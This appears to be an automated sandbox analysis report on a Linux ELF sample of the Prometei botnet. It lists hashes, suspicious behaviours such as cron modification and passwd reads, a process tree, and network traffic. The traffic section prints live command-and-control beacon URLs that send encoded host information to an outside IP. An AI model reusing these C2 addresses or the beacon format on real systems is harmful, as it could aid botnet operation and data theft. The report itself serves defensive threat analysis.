File name:

na

Full analysis: https://app.any.run/tasks/44f1ba3d-ad8a-474d-af4b-dd35fbec1c06
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

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Analysis date: April 29, 2025, 05:16:15
OS: Ubuntu 22.04.2
Tags:
prometei
botnet
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
MD5:

BEBDB3C65617CCB3D2559B003881BC62

SHA1:

DE064AD24FDBBBF81B91322978766AE39368C8BD

SHA256:

6DF77666A55A1AC8E3D8681A65BB08543288B1D837DA7BF08402DC267F15A409

SSDEEP:

12288:z3WCA0/3AkBpERwU0hC7/ezjYEi0lIw+cL6mrOgyAJ1OpIAkRjN8cvifoVjf4SM:z3E0/3AkBqwU0cLezjYEi0x3LfrOgyAQ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • PROMETEI has been detected

      • crashed.dump (PID: 40699)

  • SUSPICIOUS

    • Reads passwd file

      • na.elf (PID: 40665)
      • crontab (PID: 40673)
      • crontab (PID: 40689)
      • crontab (PID: 40695)

    • Modifies file or directory owner

      • sudo (PID: 40661)

    • Modifies Cron jobs

      • dash (PID: 40688)

    • Executes commands using command-line interpreter

      • sudo (PID: 40664)

    • Reads profile file

      • na.elf (PID: 40665)

    • Checks how long the system has been running

      • dash (PID: 40709)
      • dash (PID: 40721)

    • Check the Environment Variables Related to System Identification (os-release)

      • crashed.dump (PID: 40699)

    • Checks all system information (uname)

      • dash (PID: 40713)
      • dash (PID: 40725)

    • Connects to the server without a host name

      • crashed.dump (PID: 40699)

  • INFO

    • Checks timezone

      • crontab (PID: 40673)
      • crontab (PID: 40689)
      • crontab (PID: 40695)
      • uptime (PID: 40710)
      • uptime (PID: 40722)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
261
Monitored processes
40
Malicious processes
1
Suspicious processes
3

Behavior graph

Click at the process to see the details
start drop and start dash no specs sudo no specs chown no specs chmod no specs sudo no specs na.elf no specs locale-check no specs dash no specs chmod no specs dash no specs crontab no specs tracker-extract-3 no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs dash no specs crontab no specs dash no specs crontab no specs na.elf (deleted) no specs dash no specs #PROMETEI crashed.dump dash no specs hostnamectl no specs systemd-hostnamed no specs dash no specs uptime no specs dash no specs uname no specs dash no specs hostnamectl no specs dash no specs uptime no specs dash no specs uname no specs cron no specs dash no specs run-parts no specs

Process information

PID
CMD
Path
Indicators
Parent process
40660/bin/sh -c "sudo chown user /tmp/na\.elf && chmod +x /tmp/na\.elf && DISPLAY=:0 sudo -iu user /tmp/na\.elf "/usr/bin/dash—any-guest-agent
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40661sudo chown user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40662chown user /tmp/na.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40663chmod +x /tmp/na.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40664sudo -iu user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
40665/tmp/na.elf/tmp/na.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40666/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40667sh -c "chmod +x /home/user/crashed\.dump"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40668chmod +x /home/user/crashed.dump/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
40672sh -c "crontab -l"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
40665na.elf/home/user/crashed.dumpbinary
MD5:—
SHA256:—
40665na.elf/home/user/task.crontext
MD5:—
SHA256:—
40689crontab/var/spool/cron/crontabs/usertext
MD5:—
SHA256:—
40699crashed.dump/home/user/CommIdtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
12
DNS requests
13
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
40699
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?r=47&i=8ENGY2YRW6A861VJ
unknown
—
—
unknown
40699
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0JnVzZXJtb2RlDQp1YnVudHUyMg0KDQo0eCBJbnRlbChSKSBDb3JlKFRNKSBpNS02NDAwIENQVSBAIDIuNzBHSHoNCjQwMDA0MzIga0INClFFTVUNClN0YW5kYXJkIFBDIF9pNDQwRlggKyBQSUlYLCAxOTk2Xw0KDQoNClVidW50dSAyMi4wNC4yIExUUyAmIDIyLjA0LjIgTFRTIChKYW1teSBKZWxseWZpc2gpICAmIGJvb2t3b3JtL3NpZCAmIA0KDQovaG9tZS91c2VyLw0KIDA2OjE2OjI0IHVwICAzOjU2LCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAwLjcyLCAwLjY0LCAwLjU4fDE3NDU5MDM3ODQNCkxpbnV4IHVidW50dTIyIDYuNS4wLTEwMjUtb2VtICMyNi1VYnVudHUgU01QIFBSRUVNUFRfRFlOQU1JQyBUdWUgSnVuIDE4IDEyOjM1OjIyIFVUQyAyMDI0IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KfQ0K&i=8ENGY2YRW6A861VJ&h=ubuntu22&enckey=48MqIantFOtrrhMsS5sEBDBMbhpL70j6lK0MgbyK4IlgZUvCpXLxE66iqqO6KWrpinvFT2D+JK6WHe0ZO7szzwpK31jUazdswz3lNLFK7kM41xOdGB4iP5X9J5gbzmbWGe+GPAmiAuy19YtSl7blixGAJAnuW47ReRTPxpIf5xg=
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.48:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
—
—
169.150.255.184:443
odrs.gnome.org
—
GB
whitelisted
—
—
91.189.91.98:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
40699
crashed.dump
152.36.128.18:80
—
COASTCONNECT-01
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.48
  • 185.125.190.48
  • 185.125.190.98
  • 185.125.190.49
  • 185.125.190.97
  • 185.125.190.18
  • 91.189.91.49
  • 185.125.190.17
  • 91.189.91.96
  • 91.189.91.98
  • 91.189.91.97
  • 185.125.190.96
  • 2001:67c:1562::24
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::2a
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::98
whitelisted
google.com
  • 142.250.181.238
  • 2a00:1450:4001:829::200e
whitelisted
odrs.gnome.org
  • 169.150.255.184
  • 195.181.170.19
  • 169.150.255.181
  • 212.102.56.178
  • 37.19.194.80
  • 207.211.211.27
  • 195.181.175.41
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::18
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.58
  • 185.125.188.59
  • 185.125.188.54
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
whitelisted
3.100.168.192.in-addr.arpa
  • —
unknown

Threats

No threats detected
No debug info